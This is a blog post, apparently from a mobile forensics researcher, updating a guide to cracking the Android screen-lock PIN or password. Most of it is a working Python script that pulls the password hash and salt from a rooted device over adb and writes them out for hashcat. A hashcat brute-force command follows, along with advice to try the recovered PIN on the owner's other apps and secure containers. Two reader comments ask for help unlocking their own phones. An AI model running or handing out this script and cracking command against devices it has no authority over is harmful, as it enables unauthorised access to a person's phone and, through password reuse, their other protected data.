Breaking the Screenlock – A short Update

The posts about how to break the screen lock are very frequently visited. This is why I thought it’s time  to give you a short update and provide you with a Python script, that can do most of the attack in an automated way.

First of all, there has been one minor change in the latest versions of Android. The SQLite database with the salt needed for the hash-calculation can now be find in a different location: /data/system/locksettings.db

To extract the salt from the database you can use the following SQLite statement: “SELECT value FROM locksettings WHERE name=’lockscreen.password_salt'”

Everything else is still the same, even after several years and many new Android versions.

With the help of the following Python script, you can get everything needed from a connected and rooted device:

#!/usr/bin/python
#
# Copyright (C) 2015 Michael Spreitzenbarth (research@spreitzenbarth.de)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

import os, sys, subprocess, binascii, struct
import sqlite3 as lite


def get_sha1hash(backup_dir):

    # dumping the password/pin from the device
    print "Dumping PIN/Password hash ..."
    password = subprocess.Popen(['adb', 'pull', '/data/system/password.key', backup_dir], 
        stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
    password.wait()

    # cutting the HASH within password.key
    sha1hash = open(backup_dir + '/password.key', 'r').readline()[:40]
    print "HASH: \033[0;32m" + sha1hash + "\033[m"
    
    return sha1hash


def get_salt(backup_dir):

    # dumping the system DB containing the SALT
    print "Dumping locksettings.db ..."
    saltdb = subprocess.Popen(['adb', 'pull', '/data/system/locksettings.db', backup_dir], 
        stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
    saltdb.wait()
    saltdb2 = subprocess.Popen(['adb', 'pull', '/data/system/locksettings.db-wal', backup_dir], 
        stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
    saltdb2.wait()
    saltdb3 = subprocess.Popen(['adb', 'pull', '/data/system/locksettings.db-shm', backup_dir], 
        stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
    saltdb3.wait()

    # extract the SALT
    con = lite.connect(backup_dir + '/locksettings.db')
    cur = con.cursor()    
    cur.execute("SELECT value FROM locksettings WHERE name='lockscreen.password_salt'")
    salt = cur.fetchone()[0]
    con.close()

    # convert SALT to Hex
    returnedsalt =  binascii.hexlify(struct.pack('>q', int(salt) ))
    print "SALT: \033[0;32m" + returnedsalt + "\033[m"

    return returnedsalt


def write_crack(salt, sha1hash, backup_dir):

    crack = open(backup_dir + '/crack.hash', 'a+')
    
    # write HASH and SALT to cracking file
    hash_salt = sha1hash + ':' + salt
    crack.write(hash_salt)
    crack.close()

    
if __name__ == '__main__':

    # check if device is connected and adb is running as root
    if subprocess.Popen(['adb', 'get-state'], stdout=subprocess.PIPE).communicate(0)[0].split("\n")[0] == "unknown":
        print "no device connected - exiting..."
        sys.exit(2)

    # starting to create the output directory and the crack file used for hashcat
    backup_dir = sys.argv[1]

    try:
        os.stat(backup_dir)
    except:
        os.mkdir(backup_dir)
    
    sha1hash = get_sha1hash(backup_dir)
    salt = get_salt(backup_dir)
    write_crack(salt, sha1hash, backup_dir)

    print "crack.hash can now be used to feed hashcat"

As soon as the script has finished successfully you will receive a file – crack.hash – which contains the sha256 hash of the users PIN/Password and the salt extracted from the corresponding system database.

If you now want to start the brute-force attack you only need hashcat and the following command:

# this is an example for brute-forcing 8-digit PINs
# have a look at the hashcat manual if you want to break real passwords

hashcat -a 3 -m 110 crack.hash -1 ?d ?1?1?1?1?1?1?1?1

Very often people are asking “why to brute-force the PIN/Password when you already have root access?”. The answer is very simple. Users of mobile devices are often lazy and use the same PIN/Password at multiple locations (e.g., secure containers, password-protected apps, etc.). If you can get the PIN/Password here, where it is documented and there are tools available that help to perform the attack, why to try to reverse the protection functions in other apps and hope that you have tools available that do the brute-force attack for you. Just use the PIN/Password from the screen lock and test it whenever an app is asking for something similar.

During my daily work, this often helped me to save a lot of time.

4 Replies to “Breaking the Screenlock – A short Update”

  1. Hello, where and how to run the Python script – on the PC with the mobile connected via USB to the PC? In my case my mobile has a forgotten screen lock password, but when I connect via USB, I am able to see the folders inside the mobile. I would appreciate your reply.

  2. Hi. I’ve forgotton the PIN to my Android phone. It’s Android 8.0 and rooted (as I like root). The only thing I’m after off my phone is a bunch of beer receipes. I’ll try your script this evening. Seems in 8.0 locksettings.db still exists in hte same location, but password.key is now called gatekeeper.password.key and gatekeeper.pattern.key. MTG, James

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.